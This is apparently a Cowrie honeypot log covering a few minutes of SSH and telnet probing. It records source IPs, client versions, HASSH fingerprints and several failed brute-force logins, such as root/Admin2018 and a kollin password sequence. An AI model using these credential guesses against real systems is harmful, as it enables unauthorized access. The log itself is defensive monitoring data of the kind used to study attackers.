{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:51.983576Z","src_ip":"115.190.56.179","session":"20ed0f3e2ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:51.990640Z","src_ip":"115.190.56.179","session":"20ed0f3e2ed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36987,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2df4401d3e","protocol":"ssh","message":"New connection: 168.167.72.132:36987 (159.203.135.109:22) [session: da2df4401d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:58.804300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:58.808761Z","src_ip":"168.167.72.132","session":"da2df4401d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:59.063096Z","src_ip":"168.167.72.132","session":"da2df4401d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2018","message":"login attempt [root/Admin2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:00.116215Z","src_ip":"168.167.72.132","session":"da2df4401d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:01.376421Z","src_ip":"168.167.72.132","session":"da2df4401d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.501920223236084,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:03.952284Z","src_ip":"69.4.83.194","session":"a2b86f88d355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":33040,"dst_ip":"159.203.135.109","dst_port":23,"session":"a351996848b0","protocol":"telnet","message":"New connection: 79.139.59.21:33040 (159.203.135.109:23) [session: a351996848b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:09.102192Z"}
{"eventid":"cowrie.session.closed","duration":34.326202154159546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:12.902336Z","src_ip":"165.22.57.101","session":"9e0cd99bbb71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35456,"dst_ip":"159.203.135.109","dst_port":23,"session":"5607513614d7","protocol":"telnet","message":"New connection: 69.4.83.194:35456 (159.203.135.109:23) [session: 5607513614d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:17.426903Z"}
{"eventid":"cowrie.session.closed","duration":34.55772686004639,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:22.618357Z","src_ip":"69.4.83.194","session":"ce398f51cf1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":50622,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d7149ae0fe","protocol":"telnet","message":"New connection: 178.128.93.180:50622 (10.17.0.5:23) [session: 27d7149ae0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:34.306247Z"}
{"eventid":"cowrie.session.closed","duration":32.82375192642212,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:50.250526Z","src_ip":"69.4.83.194","session":"5607513614d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.32813549041748,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:50.634295Z","src_ip":"178.128.93.180","session":"27d7149ae0fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.62802577018738,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:53.730092Z","src_ip":"79.139.59.21","session":"a351996848b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50146,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0af10edec0","protocol":"telnet","message":"New connection: 69.4.83.194:50146 (159.203.135.109:23) [session: cc0af10edec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:58.530757Z"}
{"eventid":"cowrie.session.closed","duration":68.38038992881775,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:10:59.908692Z","src_ip":"178.128.93.180","session":"30f0aea2375e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":47018,"dst_ip":"159.203.135.109","dst_port":22,"session":"a17cdc338733","protocol":"ssh","message":"New connection: 20.205.18.79:47018 (159.203.135.109:22) [session: a17cdc338733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:09.305301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:09.310086Z","src_ip":"20.205.18.79","session":"a17cdc338733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:09.539200Z","src_ip":"20.205.18.79","session":"a17cdc338733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"proxmox","message":"login attempt [root/proxmox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:10.484488Z","src_ip":"20.205.18.79","session":"a17cdc338733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":10926,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e78e4004fd","protocol":"ssh","message":"New connection: 213.209.159.56:10926 (10.17.0.5:22) [session: e2e78e4004fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:10.499949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:11.153300Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:11.232030Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin","message":"login attempt [kollin/kollin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:11.632462Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:11.714907Z","src_ip":"20.205.18.79","session":"a17cdc338733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin1","message":"login attempt [kollin/kollin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:12.717480Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin123","message":"login attempt [kollin/kollin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:13.806899Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin1234","message":"login attempt [kollin/kollin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:14.895918Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kollin","password":"kollin12345","message":"login attempt [kollin/kollin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:15.984219Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:17.072970Z","src_ip":"213.209.159.56","session":"e2e78e4004fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.356733322143555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:32.887375Z","src_ip":"69.4.83.194","session":"cc0af10edec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36988,"dst_ip":"159.203.135.109","dst_port":22,"session":"afda6270a85e","protocol":"ssh","message":"New connection: 168.167.72.132:36988 (159.203.135.109:22) [session: afda6270a85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:59.644496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:59.648784Z","src_ip":"168.167.72.132","session":"afda6270a85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:11:59.899792Z","src_ip":"168.167.72.132","session":"afda6270a85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"integration","password":"integration","message":"login attempt [integration/integration] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:12:00.936881Z","src_ip":"168.167.72.132","session":"afda6270a85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:12:02.195299Z","src_ip":"168.167.72.132","session":"afda6270a85e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":39076,"dst_ip":"159.203.135.109","dst_port":23,"session":"c193cd011f3c","protocol":"telnet","message":"New connection: 79.139.59.21:39076 (159.203.135.109:23) [session: c193cd011f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:12:07.256771Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":40962,"dst_ip":"159.203.135.109","dst_port":23,"session":"13e739484aa8","protocol":"telnet","message":"New connection: 79.139.59.21:40962 (159.203.135.109:23) [session: 13e739484aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:12:45.635916Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":40612,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ab4ae7e2bc2","protocol":"telnet","message":"New connection: 79.139.59.21:40612 (159.203.135.109:23) [session: 7ab4ae7e2bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:12:45.986981Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40696,"dst_ip":"159.203.135.109","dst_port":23,"session":"8195296d469c","protocol":"telnet","message":"New connection: 69.4.83.194:40696 (159.203.135.109:23) [session: 8195296d469c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:04.662026Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32302,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b39b2291951","protocol":"ssh","message":"New connection: 194.59.206.2:32302 (10.17.0.5:22) [session: 5b39b2291951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:25.488936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:25.493998Z","src_ip":"194.59.206.2","session":"5b39b2291951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:25.576740Z","src_ip":"194.59.206.2","session":"5b39b2291951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:25.664540Z","src_ip":"194.59.206.2","session":"5b39b2291951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.356403827667236,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:31.991940Z","src_ip":"79.139.59.21","session":"13e739484aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.6959981918335,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:33.952635Z","src_ip":"79.139.59.21","session":"c193cd011f3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":8202,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f84929f46f9","protocol":"ssh","message":"New connection: 2.57.121.25:8202 (159.203.135.109:22) [session: 2f84929f46f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:34.741787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:34.751072Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:13:34.856992Z","src_ip":"2.57.121.25","session":"2f84929f46f9","protocol":"ssh"}
